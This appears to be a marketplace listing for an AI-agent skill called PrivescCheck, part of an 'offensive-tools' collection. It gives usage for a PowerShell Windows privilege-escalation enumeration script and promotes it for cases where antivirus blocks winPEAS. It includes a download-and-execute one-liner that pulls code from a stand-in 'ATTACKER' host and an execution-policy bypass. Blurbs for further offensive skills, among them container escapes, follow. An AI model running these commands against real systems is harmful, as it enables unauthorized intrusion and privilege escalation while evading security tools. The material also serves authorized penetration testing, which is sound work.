offensive-tools/privilege-escalation/privesccheck/SKILL.md
PrivescCheck: pure PowerShell Windows privilege escalation enumeration script checking services, scheduled tasks, registry, DLL hijacking, COM hijacking, and stored credentials. Use when winPEAS is blocked by AV, for a lower-detection PS1 alternative, or for structured readable output with remediation context.
npx skillsauth add aeondave/malskill privesccheckInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Pure PowerShell Windows privilege escalation enumeration.
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
Invoke-PrivescCheck -Extended
Invoke-PrivescCheck -Report privesc_report -Format HTML
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
| Category | What it enumerates | |----------|--------------------| | Services | Unquoted paths, weak DACLs, writable binaries | | Scheduled Tasks | Writable task scripts/binaries | | Registry | AlwaysInstallElevated, AutoRun keys | | Credentials | GPP passwords, stored Windows credentials | | Current user | Token privileges, group memberships | | COM objects | Hijackable COM registrations | | DLL hijacking | PATH/CWD DLL search order abuse |
| Level | Meaning | |-------|---------| | Info | All findings including informational (default) | | Low | Medium+ severity only | | Medium | High severity only |
| File | When to load |
|------|--------------|
| references/ | DLL hijack exploitation, COM hijack exploitation |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.